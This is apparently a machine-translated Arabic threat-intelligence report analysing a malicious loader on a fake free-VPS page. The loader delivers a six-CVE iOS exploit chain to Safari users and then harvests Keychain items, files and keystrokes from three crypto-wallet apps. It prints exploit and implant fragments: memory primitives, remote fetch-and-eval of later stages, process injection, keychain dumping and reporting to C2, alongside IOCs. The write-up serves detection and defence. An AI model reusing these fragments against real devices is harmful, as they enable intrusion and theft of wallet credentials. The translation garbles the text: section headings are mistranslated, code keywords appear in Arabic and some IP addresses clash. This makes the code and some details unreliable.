خلفية
صفحة حملة لتقديم VPS مجاني، لكنها في الحقيقة فخ. تُظهر الصفحة المستعادة من أرشيف صفحات ويب عامة أن event[.]polarnode[.]vip الذي تم تسجيله في أواخر أغسطس 2026 أعلن https[:]//lk[.]wyincc[.]com/lk.js كسكربت تحميل مسبق (preload). وبعد أن يصبح بإمكان الصفحة التفاعل، يتم تحميل السكربت تلقائيًا دون الحاجة إلى نقر الزائرين.

بعد فك ترميز عينات الـ loader التي تم حفظها، أكدنا أنها تستهدف تسليمًا عبر iPhone من Safari النقي يعمل على iOS 18.4–18.6.2، لتنتهي في النهاية إلى جمع البيانات من الملفات ومجموعة المفاتيح (Keychain) ومدخلات لوحة المفاتيح، مع استهداف ثلاث تطبيقات لمحافظ. تتطابق هذه السلسلة بشكل كبير مع سلسلة استغلال DarkSword لنظام iOS المنشورة من قِبل مجموعة Google Threat Intelligence Group (GTIG)، وتمثل ستة CVE، وتنتمي إلى إعادة استخدام n-day.
تحلل هذه المقالة عينة المحمل الرئيسي استنادًا إلى 1k[.]wyincc[.]com/lk[.]js ولقطة lk[.]wyincc[.]com/lk[.]js المحفوظة بواسطة urlscan. ويقتصر تحليل الثغرات الأمنية الست (CVEs) وقدرات ما بعد الاستغلال على سلسلة /dist/sandbox.html.
هذه الطريقة ليست حالة معزولة. فقد كشف تقرير متزامن من موقع socket.dev أن 13 قالبًا خبيثًا من قوالب Packagist تسرق بيانات الجهاز وعبارات استعادة المحفظة من خلال سلسلة استغلال WebKit-to-kernel، وتتداخل الثغرات الأمنية المستخدمة مع تلك الخاصة بثغرة DarkSword المذكورة في هذا التقرير.
يستند هذا التحليل إلى أدلة ثابتة؛ فلم تُجرَ أي عمليات على عينات، ولم تُفتح أي إطارات مضمنة، ولم تُرسَل أي استجابات إلى المتصفح أو محرك جافا سكريبت. وقد أُنجزت جميع عمليات التنزيل عن بُعد وطلبات التحكم والسيطرة المُصنّعة خلال مرحلة التحليل الجنائي بموجب ترخيص منفصل، ولم تُرسَل أي بيانات من جهاز حقيقي. تشير أوصاف إمكانيات الشفرة في هذه الورقة إلى وجود تطبيقات أو مسارات استدعاء مُقابلة، ولكنها لا تعني بالضرورة أن العمليات ذات الصلة قد نُفِّذت بنجاح على جهاز حقيقي.
استجابة العين الضبابية
MistEye هو نظام استخبارات التهديدات ومراقبة الأمن الديناميكية لتقنية Web3، تم تطويره بشكل مستقل بواسطة SlowMist. وهو يدمج إمكانيات مراقبة الأمن وتجميع المعلومات الاستخباراتية لتزويد المستخدمين بتحذيرات فورية من المخاطر وحماية الأصول.
بعد استلام العينة، أعادت MistEye بناء سلسلة الهجوم كاملةً بدءًا من فحص الجهاز وتسليم الإطارات المضمنة المخفية وصولًا إلى الاستغلال متعدد المراحل وما بعد الاستغلال. واستخرجت أسماء النطاقات وعناوين IP ومؤشرات الاختراق للملفات الخبيثة ذات الصلة، ودمجت الحزم الخبيثة ومؤشرات الاختراق في محرك كشف التهديدات الخاص بها لإصدار تنبيهات المخاطر وتقديم اقتراحات للتعامل معها للمستخدمين المعنيين.

فيما يلي تحليل فني مفصل.
فك التشفير
لا يحتوي النموذج على أحرف سطر جديد؛ فهو يعمل على سطر واحد. تتكون عملية التشفير من ثلاث طبقات: مصفوفة نصية مكونة من 1025 عنصرًا، يتم إزاحتها إلى اليسار بواسطة دالة يتم استدعاؤها فورًا عند بدء التشغيل، وتشفير Base64 وRC4 مخصص يتم تطبيقه سلسلةً تلو الأخرى. يضع الأبجدية المخصصة الأحرف الصغيرة قبل الأحرف الكبيرة.
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
الناتج بعد فك تشفير SHA-256 هو 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. يقوم برنامج فك التشفير بقراءة النص فقط وإجراء تحويل Base64/RC4 الخاص به؛ ولا يقوم بتقييم أي كود جافا سكريبت.
تم استخراج إعدادات ثابتة من النص الأصلي: الخادم: https://lkwyincc.com، نقطة نهاية SDK المفضلة: 1324821049:36887، نقطة نهاية النسخ الاحتياطي: 66117225238:36887، نبضات قلب كل 20 ثانية، مصدر الجهاز: 782391، مُعرّف العميل: web-sdk V1.0. كما تضمنت الإعدادات مفتاح RSA عامًا بتشفير SHA-256 بقيمة 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681، والذي سيُستخدم لتشفير البيانات المُرسلة إلى نقاط نهاية SDK في المراحل اللاحقة.
تستحق التطبيقات الثلاثة المستهدفة في الإعدادات تسليط الضوء عليها أولاً: imToken (im.token.app)، وTokenPocket (com.global.wallet.ios)، وTronLink (com.tronlink.hdwallet). ستظهر نفس مجموعة المعرّفات لاحقًا في مهمة جمع بيانات ضغطات المفاتيح.
الاستهداف والتسليم
أول خطوة بعد فك التشفير هي تحديد الجهة التي سيتم إرسال الحمولة إليها. يستخدم نموذج برنامج التحميل 1k[.]wyincc[.]com، الذي تم تحليله في هذه الورقة، /iPhone OS (\d+)[_.](\d+)/i لتحليل navigator.userAgent. بعد التشفير والتبسيط الحسابي، يصبح تحديد الإصدار مكافئًا لما يلي:
إذا كان (الكبير !== 18 || الصغير < 4 || الصغير > 6) فارجع؛
في نموذج التحميل هذا، تجتاز اختبارات نظام التشغيل iOS إصدارات 18.4 إلى 18.6.x على أجهزة iPhone فقط. يتطلب اختيار المتصفح تضمين Safari/ وVersion/ وMobile/...Safari، باستثناء Chrome وFirefox وOpera وEdge (CriOS وFxiOS وOPiOS وEdgiOS) على نظام iOS، بالإضافة إلى WebViews المدمجة في WeChat وQQ وTelegram وAlipay، وعدد من تطبيقات التواصل الاجتماعي والأخبار. يتطابق التعبير النمطي مع نظام تشغيل iPhone فقط، وليس مع نظام تشغيل المعالج المستخدم في أجهزة iPad.
لم تقم لقطة التحميل التي تشير إليها الصفحة المحفوظة بواسطة urlscan بإزالة الفروع المذكورة سابقًا: لا تزال أجهزة iPhone التي تعمل بنظام iOS 18.4–18.6.2 تُوجّه إلى /dist/sandbox.html. بالمقارنة مع عينة التحميل التي تم تحليلها في النص الرئيسي، فإنها تستخدم أيضًا iPhone|iPod للمطابقة الشاملة للأجهزة، بما في ذلك iPod touch، وتضيف قائمة بيضاء لأنظمة iOS من 15.2 إلى 17.1، ناقلةً هذه الإصدارات الأقدم وiPod touch إلى فرع /group.html إضافي.
لا يتم تجاهل الزوار الذين لا يجتازون الفحص. يقوم النظام بإخفاء جميع العناصر الفرعية للصفحة الحالية وعرض اقتراح متعدد اللغات، مما يسمح للمستخدمين بنسخ العنوان وفتحه في متصفح سفاري. هذا اقتراح للتوافق، وفي الوقت نفسه يوجه الزوار بشكل استباقي إلى بيئة المتصفح التي يحتاجونها.

سيخضع الزوار الذين يجتازون الفحص لمنطق القفل والتهدئة: عند استلام رسالتي pe_injected و chain_locked، سيتم تسجيلهما في الحالة المحلية وملف تعريف الارتباط لمنع تكرار التفعيل على نفس الجهاز. يتكون المعرّف الفريد (UID) من طابع زمني بالإضافة إلى أحرف عشوائية. يتحقق مستمعا الرسائل من event.data.type فقط، وليس من event.origin أو event.source. يمكن للإطارات الأخرى على نفس الصفحة تزوير هذه الرسائل لتفعيل القفل أو التهدئة قبل الأوان.
سلسلة التوريد
ينطبق تحليل سلسلة التسليم الكامل التالي على فرع /dist/sandbox.html المشترك بين كلا المحملين. تتضمن لقطة المحمل التي تشير إليها الصفحة فرع /group.html الموازي، ولكن تم حظر هذا المسار بواسطة جدار حماية تطبيقات الويب (WAF) السابق بخطأ HTTP 403، ولم يتم الحصول على محتواه في هذه الدراسة؛ لذلك، لا يُدرج هذا الفرع في سلسلة ثغرة DarkSword، أو الثغرات الأمنية الست (CVEs)، أو إمكانيات جمع البيانات التي ستُناقش لاحقًا في هذه المقالة.
في أجهزة iPhone التي تعمل بنظام iOS 18.4–18.6.2، بعد عملية التصفية، يقوم برنامج التحميل بإنشاء إطار iframe مخفي باستخدام قالب عنوان ثابت:
https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>
تم التأكد من اكتمال نقل إعدادات المُحمِّل الأولي إلى sandbox.html عبر المعامل `?d=` في عنوان URL. يحمل المعامل `d` بيانات JSON مُشفَّرة بصيغة Base64 تحتوي على مصدر الموقع الحالي، واسم المضيف، وutm_source، ومعرّف الجلسة (UID)، بالإضافة إلى نقطة نهاية SDK، والمفتاح العام RSA، ومصدر الجهاز (device_source)، وإعدادات المحفظة المستهدفة. نظرًا لأن حقلي UID والموقع يتم إنشاؤهما أثناء التشغيل، فلا يوجد عنوان URL ثابت وفريد للمرحلة الثالثة يمكن استعادته مسبقًا. لمواصلة التحقيق، حصلنا على sandbox.html في ظروف تحليل جنائي باستخدام المعاملات المُستعادة من الإعدادات.
يُخفى الإطار المضمن (iframe) خارج الشاشة باستخدام نمط معين. ثم تقوم صفحة الحماية بتحميل ملف chunks/vendor.js عبر عنصر برمجي ديناميكي. يتحقق المورد من الإصدار مرة أخرى ويوجه التطبيق وفقًا لذلك: بالنسبة لنظام iOS 18.6، يقوم بتنزيل runtime.js وتغليفه في Blob Worker؛ أما بالنسبة لنظامي iOS 18.4 و18.5، فيقوم بتنزيل runtime-legacy.js، واسترجاعه بشكل منفصل، وتقييم polyfill.js في الصفحة. يُنسق مسار RCE القديم إنشاء عناصر RCE الأساسية وتسليم المراحل اللاحقة من خلال تمرير الحالة ومزامنتها عبر postMessage بين سياق الصفحة وسياق العامل؛ وهذا يختلف عن مستمعي الرسائل pe_injected وchain_locked المذكورين أعلاه، واللذين يقتصر دورهما على تنفيذ القفل/فترة التهدئة.
لا يتم تنزيل أي جزء لاحق إلا بعد نجاح تنزيل الجزء السابق. تحتوي السلسلة بأكملها على طبقتين من الحماية، يُشار إليهما بـ SBX0 و SBX1 على التوالي: ينقل SBX0 التنفيذ من عملية محتوى صفحة الويب إلى عملية وحدة معالجة الرسومات، بينما ينقله SBX1 من عملية وحدة معالجة الرسومات إلى برنامج تشغيل الوسائط.
يستغل ملف runtime.js (الإصدار 18.6) الثغرة CVE-2025-43529 (تلف الذاكرة نتيجة خلل في عملية جمع البيانات المهملة في JavaScriptCore DFG JIT) بالإضافة إلى الثغرة CVE-2026-20700 (تجاوز مصادقة مؤشر PAC في مساحة المستخدم dyld) لإنشاء أدوات تنفيذ التعليمات البرمجية عن بُعد (RCE) لـ JavaScriptCore/WebKit: عنوان الكائن addrof، والكائن الوهمي fakeobj، والقراءة/الكتابة العشوائية، ومعالجة PAC (مصادقة المؤشر)، والاستدعاءات الأصلية، ثم يقوم بشكل متزامن بالحصول على ملف framework.js وتقييمه. يوفر كل من runtime-legacy.js و polyfill.js نفس الأدوات للإصدارين 18.4 و 18.5، بما يتوافق مع الثغرتين CVE-2025-31277 (تلف الذاكرة نتيجة تحسين/إخفاء نوع JavaScriptCore JIT) و CVE-2026-20700.
// runtime.js (18.6) — عناصر RCE الأساسية
دالة addrof(object){ تُرجع BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// تعتمد وظائف القراءة 32 بت / القراءة 64 بت / الكتابة 8 بت / الكتابة 64 بت على نفس آلية fakeobj/scribble
// runtime.js — تسليم SBX0 (تقييم framework.js)
print("[RCE] بدء تحميل SBX0 sandbox escape...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)
يقوم ملف framework.js بتنفيذ SBX0 - باستخدام CVE-2025-14174 (قراءة/كتابة الذاكرة خارج النطاق بسبب عدم كفاية التحقق من صحة معلمات التشغيل المحددة في ANGLE/WebGL) لنقل التنفيذ من عملية محتوى صفحة الويب إلى عملية GPU، وتحميل common.js بعد فرع SBX0 SUCCEEDED؛ و framework-legacy.js هو النظير القديم.
// framework.js — نقطة دخول SBX0
print("[SBX0] ======== sbx0_main.js eval start =======");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;
يقوم common.js بتنفيذ SBX1 - استغلال CVE-2025-43510 (ثغرة إدارة الذاكرة في نواة XNU من نوع النسخ عند الكتابة (COW)) للهروب من عملية GPU إلى mediaplaybackd ذي الامتيازات الأعلى، بما في ذلك نقطة نهاية XPC الخاصة به، ومسار IOSurface/Scaler، وروتين sbx1sbx1_exp، ثم يقوم بتحميل app.js؛ يعيد common-legacy.js استخدام app.js الموجود.
// common.js — نقطة ارتكاز XPC الخاصة بـ SBX1 لتشغيل الوسائط وتسليم صلاحيات التصعيد
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
دالة spawn_pe(){ LOG("جاري إنشاء PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }
يستغل ملف app.js ثغرة CVE-2025-43520 (تلف في الذاكرة ناتج عن حالة تضارب في نواة نظام الملفات الافتراضي XNU VFS) لإنشاء عمليات قراءة/كتابة في النواة وآليات تصعيد الصلاحيات. يتضمن ذلك تغليف عمليات القراءة/الكتابة في النواة، وتجاوز مرشح MigFilterBypass، وامتداد الحماية applySandboxEscape، وحذف تقارير الأعطال، ومنطق التنسيق للحصول على ثلاثة مكونات إضافية وحقنها في ثلاث عمليات نظام. هذه المكونات الإضافية هي sync.js وauth.js وinput.js، ويقوم البرنامج باستعادة ثلاثة نصوص برمجية للمهام تتوافق مع كل نوع من أنواع المكونات الإضافية الثلاثة.
// app.js — نقطة دخول لقراءة/كتابة النواة وتصعيد الامتيازات
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
الدالة pe_v1() { /* ... */ }
يقوم كل مسار من مسارات الحقن الثلاثة ببدء طلب HTTP GET نصي عادي لاسترداد المكون الإضافي، ثم يقوم بتسليم الاستجابة إلى العملية المقابلة:
var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
إذا (تم حقن.حقن()) { ... }
الأهداف الثلاثة هي SpringBoard (sync.js) وsecured (auth.js) وkbd (input.js)؛ وتتوافق نصوص المهام الثلاثة المستعادة مع هذه الأنواع الثلاثة من المكونات الإضافية، ويتم حقن وكيل المهمة من خلال تنسيق التعليمات البرمجية. إن سلسلتي SBX0 SUCCEEDED وSBX1 SUCCEEDED في التعليمات البرمجية هما سلسلتا حالة الفرع، وليستا سجلات النجاح التي لاحظناها.
هناك نقطة أخرى يجب إضافتها بخصوص المصدر. يُعيد lk[.]wyincc[.]com رمز HTTP 403 لموارد الفرع القديم (runtime-legacy.js، polyfill.js، framework-legacy.js، common-legacy.js). حصلنا على هذه الملفات الأربعة من عقدة استضافة الحمولة المرتبطة 1k[.]wyincc[.]com؛ وقد تم التحقق مسبقًا من أن هذه العقدة تُعطي استجابات متسقة على مستوى البايت من المضيف الفعلي الذي تُشير إليه الصفحة على ملفي vendor.js وruntime.js المشتركين، لكننا لا ندّعي أن هذه الملفات القديمة تُعادل على مستوى البايت استجابات lk غير القابلة للاستلام. يُعيد الموردان الشرطيان، powercuff_light.js وchain_status_overlay.js، رمز 403 على المضيف الفعلي الذي تُشير إليه الصفحة، ورمز HTML 404 على عقدة استضافة الحمولة المرتبطة؛ ولا يوجد نص برمجي متاح للتحليل.
سلالة دارك سورد
تتطابق عدة آثار فريدة في الكود مع آثار أداة موثقة علنًا. يحتوي ملف `app.js` على التعليق التالي: "إذا كان نظام iOS 18.4 أو أحدث، فإننا نطبق migbypass لتجاوز قيود التشغيل التلقائي"، وفئة `MigFilterBypass`، و`Chain.runPE()` متبوعةً بـ `Sandbox.applySandboxEscape()`، وحذف الدليل `systemgroup.com.apple.osanalytics/DiagnosticReports/`، وإشارات إلى أداة `startSandworm`. كما يتوافق توزيع الإصدارات (18.4 و18.5 و18.6) ومسؤوليات المراحل SBX0 ← SBX1 ← PE مع تحليل DarkSword الذي نشرته GTIG. ويؤكد نشرة أمان Apple أيضًا وجود الثغرة الأمنية CVE وإصدار التصحيح.
يحتفظ ملف app.js بعد فك تشفيره بعدة آثار يمكن تحديدها بشكل مباشر:
// app.js — توجيه إصدار migbypass (تعليق فريد من نوعه في DarkSword)
// إذا كان نظام التشغيل iOS 18.4 أو أحدث، فسيتم تطبيق migbypass لتجاوز قيود Autobox
إذا كان (ver.major == 24 && ver.minor >= 4) { /* تجاوز الـ migbypass */ }
// غلاف قراءة/كتابة النواة المتسلسل في MigFilterBypassThread.js المضمن
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }
// تمت الإشارة إلى أداة startSandworm (تم الاحتفاظ بها كتعليق في الكود المصدري).
// let baseKernel = startSandworm();
وبناءً على ذلك، قمنا بربط المرحلة المحلية بستة أحداث حرجة:

عندما رصدت GTIG ثغرة DarkSword لأول مرة، كانت الثغرات CVE-2025-43529 وCVE-2026-20700 وCVE-2025-14174 تُعتبر ثغرات أمنية غير معروفة (ثغرات اليوم الصفر) في بيئة الإنتاج. وبحلول حدث WYINCC في سبتمبر 2026، تم الكشف عن جميع الثغرات الست علنًا وقامت Apple بتصحيحها. لذا، يُعد هذا التقرير إعادة استخدام لسلسلة الثغرات الست في DarkSword. وتستند إصدارات التصحيحات وحالة ثغرات اليوم الصفر السابقة إلى تقارير GTIG ونشرات Apple الأمنية.
ثلاث مهام قيادة وسيطرة
لتوضيح ما تُوجّه إليه السلسلة في نهاية المطاف الوكيل المُضاف، أرسلنا طلبات requestJsCode محدودة إلى كلٍّ من نقطتي نهاية SDK بتفويض منفصل، باستخدام مُعرّف فريد مُولّد وحقل موقع فارغ، بإجمالي طلبين لكل نقطة نهاية. لم يتم إرسال أي بيانات تسجيل جهاز أو نبضات قلب أو سلسلة مفاتيح أو لوحة مفاتيح أو تطبيق خلال العملية بأكملها.
أعاد الطرف الأساسي 13[.]248[.]210[.]49:36887 استجابة بحجم 54,773 بايت في محاولتي الاتصال؛ بينما أعاد الطرف الاحتياطي 66[.]117[.]225[.]238:36887 استجابة فارغة في كلتا المحاولتين. تم تشفير الاستجابات باستخدام AES-256-GCM وتغليفها كإطارات SSP2. استخدمنا مفتاح الجلسة المحفوظ لإجراء فك التشفير دون اتصال بالإنترنت، وفك ضغط LZFSE، والتحقق من SSP2/JSON/Base64 لاستعادة ثلاثة نصوص برمجية للمهام. لم يتم تنفيذ أي من المهام الثلاث.
كل مهمة من المهام الثلاث تتوافق مع عملية واحدة تم إدخالها:
يتم تكوين مهام SpringBoard وفقًا لملف apps_json الخاص بالخادم، حيث تقوم بسرد الملفات بشكل متكرر من حاوية التطبيق أو AppGroup المشترك أو المسارات المطلقة، وتحميلها على شكل أجزاء، وتضمين ترميز SHA-256 لكل ملف على حدة واستئناف عمليات التحميل المتقطعة؛ عندما يكون task_type هو 1 أو 4، فإنه سيقوم أيضًا بفك تشفير Base64 وتقييم JavaScript المرسل من الخادم، وإعادة إرسال النتائج.
تقوم مهمة securityd بفتح /private/var/Keychains/keychain-2.db، والاستعلام عن جداول genp و inet، وفك تشفير كتلة البيانات باستخدام الفئة الخاصة SecDbKeychainItemV7، واستخراج v_Data و acct و svce و agrp، ثم الإبلاغ عنها.
تراقب مهمة kbd التطبيق الأمامي؛ عندما يكون تطبيق المحفظة المستهدف في المقدمة، فإنها تستطلع متغير ivar الداخلي للوحة المفاتيح (_inputString، _contextBeforeInput، _contextAfterInput)، وتبلغ عن المحتوى المخزن مؤقتًا باسم reportAppPwd عند انتهاء الإدخال أو تبديل التطبيق.
جمع بيانات سلسلة المفاتيح
تُطابق مهمة securityd إضافة auth.js. بعد أن يسترجع app.js الملف `/dist/plugins/auth.js` عبر `GET /dist/plugins/auth.js`، يقوم بحقن الكود في securityd باستخدام `InjectJS("securityd", ...)`. ثم يستخدم استدعاءات أصلية (dlsym، objc_msgSend) مُنشأة في السلسلة لاستدعاء ObjC مباشرةً من JavaScript، مما يفتح مكتبة سلسلة المفاتيح في وضع القراءة فقط.
sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)
يقتصر هذا الكود على المرور على جدولي `genp` (التشفير العام) و`inet` (تشفير الإنترنت) (باستخدام SELECT *، مع تصفية النتائج حسب `agrp LIKE '%keyword%'`، بحد أقصى 500 صف لكل جدول؛ إذا كانت الكلمة المفتاحية فارغة، يتم الانتقال إلى 1=1 والمرور على جميع الصفوف). عمود `data` عبارة عن كائن ثنائي كبير مشفر (BLOB). لا يقوم الكود بفك تشفير مخزن المفاتيح، بل يستخدم بدلاً من ذلك طرقًا من الفئة الخاصة `SecDbKeychainItemV7` (مثل `initWithData:decryptionKeybag:error:`، إلخ) لفك تشفيره، وقراءة القيمة السرية `v_Data`، واستخراج `acct` و`svce` و`agrp`.
var table = ["genp"، "inet"]؛
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));
يؤدي Task_type == 3 إلى تشغيل عملية تفريغ (الكلمات الرئيسية من ملف apps_json الخاص بالخادم أو المحتوى؛ يمكن لـ task_type == 4 أيضًا توسيع المجموعة لتشمل تقييم البرنامج النصي من جانب الخادم)، ويتم الإبلاغ عن النتائج عبر reportKeychain من خلال قناة C2 مغلفة بواسطة SSP2 / AES-256-GCM / RSA:
sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });
لخص
لقد تأكدنا من أن هذا إطار عمل متعدد المراحل للاستغلال والمعالجة اللاحقة، يعتمد على الوصول إلى البيانات، ويستهدف متصفح سفاري على أجهزة آيفون التي تعمل بنظام iOS 18.4–18.6.2، وينتمي إلى عائلة DarkSword. تكمن المخاطر في ثلاثة تطبيقات للمحافظ الإلكترونية - imToken وTokenPocket وTronLink - حيث يمتلك الكود البرمجي إمكانية تنفيذ التعليمات البرمجية عن بُعد في المتصفح، وقدرات على تجاوز الحماية من طبقتين، ووظائف قراءة/كتابة في نواة النظام، بالإضافة إلى القدرة على حقن خوادم وسيطة في SpringBoard وsecured وkbd، وجمع البيانات من الملفات وسلسلة المفاتيح ومدخلات لوحة المفاتيح.
تم الكشف عن الثغرات الأمنية الثلاث التي رصدتها GTIG في DarkSword، والتي كانت تُعتبر ثغرات يوم الصفر، علنًا، وقامت Apple بإصلاحها بحلول وقت هذا الحدث. ويُمكن وصف التقرير الحالي المقدم من WYINCC بأنه إعادة استخدام لسلاسل الثغرات الأمنية الست. تحتوي لقطة المُحمّل التي تشير إليها صفحة lk[.]wyincc[.]com على فرع /group.html لإصدارات iOS و iPod touch القديمة، والذي تم حظره بواسطة جدار حماية تطبيقات الويب (WAF) السابق برسالة خطأ HTTP 403، ولم يتم الحصول على البيانات اللاحقة. لذا، فإن الثغرات الأمنية الست (CVEs) واستنتاجات جمع البيانات تنطبق فقط على فرع /dist/sandbox.html.
اقتراح
عند حدود الشبكة (الخادم الوكيل، نظام أسماء النطاقات، نظام الكشف والاستجابة لنقاط النهاية/نظام الكشف والاستجابة لنقاط النهاية)، تم حظر النطاقين wyincc[.]com و polarnode[.]vip، بالإضافة إلى ثلاث نقاط نهاية (36887). أظهرت سجلات الوصول أن أجهزة iPhone التي تعمل بنظام iOS 18.4–18.6.2 تصل إلى مسارات مثل /dist/sandbox.html و /dist/chunks/ و /dist/plugins/. كما تم رصد وصول أجهزة تعمل بنظام iOS 15.2–17.1 (بما في ذلك أجهزة iPod touch المحتملة) إلى /group.html. يشير الأول إلى ثغرة أمنية معروفة في سلسلة الكتل، بينما يؤكد الثاني فقط وجود إصابة في فرع لاحق لم يتم رصده في هذه الحالة، وبالتالي لا يمكن تطبيق استنتاجات جمع بيانات المحافظ أو الثغرات الأمنية الست (CVEs) بشكل مباشر.
إذا تم حقن موقعك بهذا النص البرمجي، فقم بإزالته من الصفحة، وشبكة توصيل المحتوى (CDN)، وذاكرة التخزين المؤقت لتخزين الكائنات. تحقق من مصادر استيراد القوالب، ومديري العلامات، وأنظمة الإعلانات، وقم بتطبيق سياسة أمان المحتوى (CSP) وسياسة إعادة نشر الإعلانات (SRI) لمنع النصوص البرمجية الخارجية من وراثة سياق الموقع.
إعطاء الأولوية لجمع الأدلة الجنائية لأجهزة iPhone التي وصلت إلى صفحة التسليم وتعمل بنظام التشغيل Safari على iOS 18.4–18.6.2، وجمع سجل Safari، وأعطال WebKit، وشذوذ العمليات، وسجلات الوصول إلى Keychain؛ والاحتفاظ بنفس الأدلة الأساسية لأجهزة iPhone أو iPod touch التي تعمل بنظام التشغيل iOS 15.2 إلى 17.1 والتي لديها حق الوصول إلى /group.html، ولكن لا تؤكد نجاح الاستغلال أو جمع البيانات بناءً على الوصول إلى المسار فقط.
بالنسبة للمستخدمين الذين يستخدمون المحافظ المستهدفة الثلاث التالية: imToken و TokenPocket و TronLink، حدد ما إذا كان يجب تغيير بيانات الاعتماد، وإلغاء الجلسات، ومراقبة العناوين والمعاملات على السلسلة بناءً على نتائج التحليل الجنائي للجهاز؛ لا تؤكد أن المفاتيح الخاصة أو عبارات الاستعادة قد تم تسريبها فقط بناءً على سجلات الوصول.
قم بترقية جهازك إلى الإصدار المصحح من Apple (iOS/iPadOS 18.7.3 أو 26.3 وما فوق) واحتفظ بالاستجابة الأصلية ومفتاح الجلسة والتجزئة لتحليل الارتباط اللاحق.
اللجنة الأولمبية الدولية
اسم النطاق
1k[.]wyincc[.]com
lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip
الملكية الفكرية
13.248.210.49
66[.]117[.]225[.]238
166[.]117[.]225[.]238
عنوان URL
13[.]248[.]210[.]49:36887
66[.]117[.]225[.]238:36887
166[.]117[.]225[.]238:36887
https[.]//lk[.]wyincc[.]com/lk.js
https[.]//1k[.]wyincc[.]com/lk.js
ملفات خبيثة
اسم الملف: lk.js
SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337
اسم الملف: lk.js
SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
اسم الملف: sandbox.html
SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54
اسم الملف: vendor.js
SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
اسم الملف: runtime.js
SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
اسم الملف: runtime-legacy.js
SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
اسم الملف: polyfill.js
SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
اسم الملف: framework.js
SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
اسم الملف: framework-legacy.js
SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
اسم الملف: common.js
SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
اسم الملف: common-legacy.js
SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
اسم الملف: app.js
SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
اسم الملف: sync.js
SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
اسم الملف: auth.js
SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
اسم الملف: input.js
SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d
نبذة عن ميست آي
MistEye هي منصة استخبارات التهديدات ومراقبة الأمن الديناميكية لتقنية Web3، طورتها شركة SlowMist بشكل مستقل. توفر المنصة إمكانيات الكشف عن الأنشطة الضارة والتحذير من مخاطر سلسلة التوريد من خلال نظام الحزم مفتوح المصدر عبر واجهة برمجة التطبيقات (API).
تم دمج جميع الحزم الخبيثة ومؤشرات الاختراق المتورطة في هذه العملية في محرك كشف التهديدات MistEye. يمكن للمطورين استخدام واجهة برمجة التطبيقات (API) للكشف التلقائي عن تبعيات المشروع، وتحديد ما إذا كانت تحتوي على حزم خبيثة معروفة بسرعة، والحصول على اقتراحات للتعامل معها.
📖 وثائق واجهة برمجة التطبيقات (API): https://app.misteye.io/api-docs
🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan أداة سطر أوامر خفيفة الوزن تفحص تبعيات المشروع والحزم المثبتة عالميًا بحثًا عن الحزم الضارة المعروفة بأمر واحد. تدعم بيئة npm / PyPI / Cargo / Go / RubyGems.
🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skillsAI حزمة مهارات أمان لمساعد البرمجة تقوم بتشغيل فحوصات أمان MistEye تلقائيًا قبل تثبيت التبعيات والوصول إلى عنوان URL.
🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard أداة أمان DNS تكشف النطاقات الضارة والوصول المحفوف بالمخاطر، وتحدد عمليات التصيد الاحتيالي، و C2، وغيرها من تهديدات الشبكة.
كُتبت هذه المقالة بواسطة فريق استخبارات التهديدات في SlowMist بالتعاون مع نظام استخبارات التهديدات MistEye وتحليلات الذكاء الاصطناعي لوكيل SlowMist. لا تترددوا في التواصل معنا لأي استفسارات أو ملاحظات.
مرجع
[1]https://socket.dev/blog/packagist-themes-ios-spyware
[2] https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
[3]https://support.apple.com/en-bw/125885
[4]https://support.apple.com/en-me/125633
[5]https://support.apple.com/en-us/126346
[6] https://www.nodeseek.com/post-905477-1

